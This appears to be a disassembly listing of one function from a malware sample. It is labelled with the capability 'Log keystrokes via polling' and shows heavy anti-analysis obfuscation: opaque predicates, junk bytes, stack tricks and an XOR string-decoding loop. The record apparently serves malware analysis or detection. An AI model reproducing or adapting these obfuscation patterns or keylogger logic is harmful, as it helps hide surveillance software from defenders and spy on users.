Function at 0x1004e224
Capabilities:
Log keystrokes via polling

Disassembly:
jae 0x1004ddf9
jmp 0x1004ddf4
call fcn.1004ddfb
jae 0x1004ddf4
add esp, 4
jmp 0x1004de00
dec dword [esp]
jno 0x1004de05
jns 0x1004ddf0
jp 0x1004de09
add esp, 4
popf
jmp 0x1004de10
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004de29
jne 0x1004de29
call 0x1fc5117d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pushf
push 0xa
jae 0x1004de47
jmp 0x1004de42
call 0x1004de49
jae 0x1004de42
add esp, 4
jmp 0x1004de4e
dec dword [esp]
jno 0x1004de53
jns 0x1004de3e
jp 0x1004de57
add esp, 4
popf
jmp 0x1004de5e
clc
jae 0x1004de63
xor al, 0xc6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004de7c
jne 0x1004de7c
invalid
jl 0x1004de81
jmp 0x1004de83
je 0x1004de7e
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004de9d
jne 0x1004de9c
call 0x9308cf24
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1004deab
jne 0x1004deab
call 0x1179e223
je 0x1004deb0
jne 0x1004deb0
sub al, 0x7c
add ebp, ebx
add ebp, dword [esp + esi*2]
sti
jl 0x1004deb5
jmp 0x1004deb7
je 0x1004deb2
pushf
push 0xa
jae 0x1004dec4
jmp 0x1004debf
call 0x1004dec6
jae 0x1004debf
add esp, 4
jmp 0x1004decb
dec dword [esp]
jno 0x1004ded0
jns 0x1004debb
jp 0x1004ded4
add esp, 4
popf
jmp 0x1004dedb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x1004def4
or dword [esp + esi*2], ebp
add esi, dword [ebp + 1]
je 0x1004def9
jne 0x1004def9
call 0x1fc5124d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004df13
jne 0x1004df12
call 0x9308cf9a
rol byte [ebx + eax*4], 0xf0
add eax, 0x4588c033
dec dword [ebp - 0x72ae1fb3]
dec ebp
invalid
xor eax, 3
add eax, 4
xor eax, 5
xor eax, eax
mov byte [ebp - 1], al
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 1]
call 0x1004dda0
mov dword [ebp - 0xc], eax
jl 0x1004df35
jmp 0x1004df37
je 0x1004df32
xor eax, eax
test eax, eax
je 0x1004df40
jne 0x1004df3f
call 0x9308cfc7
rol byte [ebx + eax*4], 0xf0
add eax, 0x9d0273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x1004df4e
popfd
jns 0x1004dfc3
je 0x1004df53
add esi, dword [ebp + 1]
jne 0x1004df53
jns 0x1004dfba
pushf
pushfd
push 0xa
jae 0x1004df60
jmp 0x1004df5b
call 0x1004df62
jae 0x1004df5b
add esp, 4
jmp 0x1004df67
dec dword [esp]
jno 0x1004df6c
jns 0x1004df57
jp 0x1004df70
add esp, 4
popf
jmp 0x1004df77
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004df90
jne 0x1004df90
call 0x1fc512e4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov edx, 1
imul eax, edx, 0xb
mov ecx, dword [ebp - 0xc]
movsx edx, byte [ecx + eax]
test edx, edx
je 0x1004dfbd
mov dword [ebp - 0x10], 1
jmp 0x1004dfc4
add bl, ch
pop es
mov dword [ebp - 0x10], 0
add byte [edi], cl
mov dh, 0x45
invalid
movzx eax, byte [ebp - 0x10]
test eax, eax
je 0x1004e007
mov dword [ebp - 8], 0
jmp 0x1004dfde
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0xc
jge 0x1004e007
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
movsx ecx, byte [edx]
mov eax, dword [ebp - 8]
cdq
mov esi, 0x31
idiv esi
add edx, 0x35
xor ecx, edx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x1004dfd5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
jmp 0x1004e083
mov ecx, dword [ebp - 0x14]
call fcn.100381b0
mov dword [0x10092ef0], eax
jl 0x1004e095
jmp 0x1004e097
je 0x1004e092
xor eax, eax
test eax, eax
je 0x1004e0a0
jne 0x1004e09f
call 0x9308d127
rol byte [ebx + eax*4], 0xf0
add eax, 0x850273f8
pop eax
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x1004e0ae
test dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x1004e0b3
jne 0x1004e0b3
pop eax
pushf
push 0xa
jae 0x1004e0c0
jmp 0x1004e0bb
call 0x1004e0c2
jae 0x1004e0bb
add esp, 4
jmp 0x1004e0c7
dec dword [esp]
jno 0x1004e0cc
jns 0x1004e0b7
jp 0x1004e0d0
add esp, 4
popf
jmp 0x1004e0d7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004e0f0
jne 0x1004e0f0
call 0x1fc51444
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pushf
push 0xa
jae 0x1004e10e
jmp 0x1004e109
call 0x1004e110
jae 0x1004e109
add esp, 4
jmp 0x1004e115
dec dword [esp]
jno 0x1004e11a
jns 0x1004e105
jp 0x1004e11e
add esp, 4
popf
jmp 0x1004e125
clc
jae 0x1004e12a
pop edx
mov ebx, 0xf2815250
nop
add byte [eax], al
add byte [edx - 0x7f], dl
ljmp 0x358
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004e143
jne 0x1004e143
mov ebx, 0x3eb037c
mov ebx, 0x3350fb74
ror byte [edi], 0x9b
rcl byte [edx + 0x33], 0xd0
jl 0x1004e148
jmp 0x1004e14a
je 0x1004e145
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004e164
jne 0x1004e163
call 0x9308d1eb
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1004e172
jne 0x1004e172
call 0x1179e4ea
je 0x1004e177
jne 0x1004e177
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x1004e17c
jmp 0x1004e17e
je 0x1004e179
pushf
push 0xa
jae 0x1004e18b
jmp 0x1004e186
call 0x1004e18d
jae 0x1004e186
add esp, 4
jmp 0x1004e192
dec dword [esp]
jno 0x1004e197
jns 0x1004e182
jp 0x1004e19b
add esp, 4
popf
jmp 0x1004e1a2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x1004e1bb
das
and dword [ebx + eax + 0x75], esi
add eax, ebp
je 0x1004e1c0
jne 0x1004e1c0
call 0x1fc51514
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004e1da
jne 0x1004e1d9
call 0x9308d261
rol byte [ebx + eax*4], 0xf0
add eax, 0x4e8f068
adc byte [eax - 0x17], ch
push ebp
insb byte es:[edi], dx
add al, ch
invalid
xor eax, 3
add eax, 4
xor eax, 5
push 0x1004e8f0
push 0x6c55e9
call 0x100010f0
jl 0x1004e1f7
jmp 0x1004e1f9
je 0x1004e1f4
xor eax, eax
test eax, eax
je 0x1004e202
jne 0x1004e201
call 0x9308d289
rol byte [ebx + eax*4], 0xf0
add eax, 0xd10273f8
inc edx
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x1004e210
rol dword [edx + 0x74], 1
add esi, dword [ebp + 1]
je 0x1004e215
jne 0x1004e215
inc edx
pushf
push 0xa
jae 0x1004e222
jmp 0x1004e21d
call 0x1004e224
jae 0x1004e21d
add esp, 4
jmp 0x1004e229
dec dword [esp]
jno 0x1004e22e
jns 0x1004e219
jp 0x1004e232
add esp, 4
popf
jmp 0x1004e239
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004e252
jne 0x1004e252
call 0x1fc515a6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pushf
push 0xa
jae 0x1004e270
jmp 0x1004e26b
call 0x1004e272
jae 0x1004e26b
add esp, 4
jmp 0x1004e277
dec dword [esp]
jno 0x1004e27c
jns 0x1004e267
jp 0x1004e280
add esp, 4
popf
jmp 0x1004e287
clc
jae 0x1004e28c
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1004e2a5
jne 0x1004e2a5
movsd dword es:[edi], dword [esi]
jl 0x1004e2aa
jmp 0x1004e2ac
je 0x1004e2a7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004e2c6
jne 0x1004e2c5
xor eax, 3
add eax, 4
xor eax, 5
je 0x1004e2d4